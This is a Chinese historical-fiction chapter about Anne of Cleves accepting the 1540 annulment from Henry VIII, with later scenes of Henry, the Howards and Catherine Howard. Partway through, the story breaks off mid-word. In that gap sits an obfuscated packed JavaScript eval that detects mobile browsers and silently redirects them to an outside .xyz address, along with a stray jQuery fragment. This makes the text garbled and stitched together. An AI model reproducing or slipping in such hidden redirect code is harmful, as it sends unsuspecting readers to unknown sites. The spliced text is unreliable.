里士满行宫，1540 年 7 月 24 日—7 月 31 日


    7 月 24 日傍晚，风从泰晤士河面一路爬上里士满的石阶，带着汉普顿宫的马厩味、烤鹿肉味，以及一丝新鲜的、像刚拆封的羊皮纸味。


    胡椒狗第一个嗅到异常，耳朵转得像风向标。安妮顺着它的视线望去——河堤尽头，三盏白底红十字的宫灯排成一条直线。那是御前秘书处的“夜航标”，通常只在颁布国书时出现。


    她心里“咚”地一声，像落下一枚骰子，却不知道点数是吉是凶。


    “看来，”她对着狗耳语，“老板终于要在裁员通知书上签字了。”


    7 月 25 日，天刚蟹壳青，行宫正门被叩得震天响。


    来的是一对“老搭档”：


    ? 托马斯·克伦威尔——昔日提拔安妮的“造王者”，此刻鬓角灰白，像撒了一把盐；


    ? 托马斯·霍华德——诺福克公爵，笑得像刚偷到一整只鸡的狐狸。


    克伦威尔捧着卷轴，霍华德提着礼盒，一黑一红，活像送葬与贺喜同时登场。


    安妮在会客室端坐，裙摆铺成一朵收敛的白玫瑰。她故意在腰带上挂了一串小铃铛——声音一响，提醒自己要笑得温顺。


    克伦威尔先开口，声音像钝刀切面包：


    “奉英格兰与爱尔兰国王、教会至尊陛下之命，特向王后殿下宣读……双方友好解除婚姻之协议。”


    霍华德立刻接口，声音甜得发腻：


    “王后殿下贤德无双，陛下愿赐里士满行宫及年金 4000 马克，外加安特卫普两处庄园，终身享用。”


    安妮垂眸，指甲在掌心掐出四道月牙。


    ——离职补偿到账，还是“2N+年终奖”豪华版。


    霍华德把礼盒放到桌上，盒盖“啪”一声弹开，露出一卷墨迹未干的羊皮纸：


    “奉英格兰、法兰西及爱尔兰国王、教会至尊亨利八世陛下之特许：


    1. 国王与王后安妮之婚姻自即日起解除，双方仍为‘亲爱的兄妹’；


    2. 王后年金定为 4 000 马克，由国库每季度支付；


    3. 王后须常驻英格兰，非经国王亲笔特许，不得离境；


    4. 里士满行宫及温莎小屋供王后终身使用；


    5. 本协议自签字之日起生效，一经签署，不得反悔。


    卷轴末尾，国王的狮子印章鲜红欲滴，像一枚刚出炉的烙印。


    她抬眼，发现霍华德正盯着自己耳后的白玫瑰，眼里闪着“快签字”的绿光。


    卷轴递到面前，羽毛笔蘸好墨水。


    安妮深吸一口气，在签名处写下花体“Anna”——最后一笔故意拖长，像一条偷偷伸出的尾巴。


    她沉默三十秒


    霍华德率先开口，语气轻快得像在谈论一场狩猎：


    “殿下，年金 4 000 马克，可是英格兰王后史上最高的一笔‘友谊补偿’。陛下待您，可谓仁至义尽。”


    克伦威尔没有附和，他站在窗边，视线落在远处河面，仿佛那里有一条看不见的逃生小船。


    佩吉特把墨盒推到安妮面前，轻声提醒：


    “殿下，只需在此处签上御名，一切……便尘埃落定。”


    安妮没有立即提笔。


    她先端起麦酒，抿了一口——酒已经走温，带着淡淡的木桶涩味。


    随后，她抬眼，目光依次扫过四位大臣，最后停在奥德利脸上。


    “诸位大人，”


    她的声音不高，却足够让窗外的蝉鸣安静下来，


    “我只有两句话，想请诸位一字不差地转呈国王。”


    她放下酒杯，双手交叠于膝上，语气温柔得像在念玫瑰经：


    “第一，我将每日为国王陛下的健康与长寿祈祷，直至上帝召回我的灵魂；


    第二，我恳请全能的上帝，让我在有生之年——仍能再次亲眼见到国王。”


    话音落地，会客室陷入一种古怪的寂静。


    霍华德挑了挑眉，似乎没料到如此“温顺”；


    佩吉特笔尖一顿，在纸上留下一个多余的墨点；


    克伦威尔却轻轻吐出一口气，像终于放下某种无形的负担。


    安妮提笔，在羊皮卷末尾签下花体“Anna Cleves”。


    最后一笔拖得很长，像一条不肯收拢的尾巴，也像在丈量她与故土之间被强行缩短的距离。


    胡椒狗在此时不合时宜地“汪”了一声，又立刻被安妮用脚尖轻轻按住。


    众人离开后，克伦威尔独自折返。


    他从袖中摸出一只小小的锡盒，放在桌上。


    “殿下，”他声音沙哑，“这是安特卫普最新到的玫瑰种子，据说能在冬日开花。”


    安


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155903|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妮打开盒盖，里面静静躺着三粒黑褐色的种子，像三颗被时间风干的泪。


    “谢谢，”她说，“我会把它们种在里士满的墙根下——让它们在雪里记住阳光。”


    克伦威尔深深一揖，给这位前王后最后的尊重


    亨利八世·汉普顿宫


    国王正在新修的长廊里试步——痛风减轻了，或者兴奋压过了疼痛。


    御前侍卫低声禀报：“王后……不，安妮小姐已签字。”


    亨利大笑，震得窗棂嗡嗡响：“好！立刻发函给教皇——不，给全欧洲！就说朕终于摆脱那匹德意志母马！”


    他转身吩咐乐师：“排练新婚礼进行曲，要C大调，喜庆！越喜庆越好！”


    公爵夫人把家族纹章上的银色玫瑰换成了金色，命令绣娘连夜加急。


    霍华德举杯，对满屋亲戚宣布：“金雀花要变玫瑰，玫瑰要变王冠！”


    年轻的凯瑟琳躲在屏风后，指尖绕着一缕金发——她已收到国王送来的订婚戒指：一颗方形切割红宝石，像一滴新鲜的血。


    安妮·里士满塔楼


    夜里，她独自爬上最高的垛口，看泰晤士河在月光下像一条银色的离职证明。


    胡椒狗绕着她转圈，尾巴拍得地砖“啪啪”响。


    7 月 28 日，汉普顿宫。


    凯瑟琳试穿婚纱，裙摆由 24 名侍女托起，像一片金色的云。


    镜子里，她的脸被宝石光映得发亮，却忽然想起安妮送的那句德语：


    “玫瑰同枝，风雨同担。”


    她愣了半秒，随即甩甩头，把这句不祥的话甩进角落。


    ——旧玫瑰已经退场，新玫瑰只管盛开。


    夜深，安妮独自坐在塔楼最高处。


    泰晤士河在脚下无声地流动，像一张巨大的、无法撕破的网。


    她打开那本用德语记的小本子，写下：


    “1540 年 7 月 27 日，我被英格兰留下。


    不是作为王后，也不是作为囚徒，


    而是作为一只被剪断翅膀却仍被允许歌唱的鸟。


    4 000 马克，买不走风，也买不走祈祷。


    我会日日为亨利祈祷——祈祷他长命百岁，


    好让我在有生之年，仍能亲眼看见


    那顶曾差点压碎我脖子的王冠，


    如何压碎下一个人的梦。”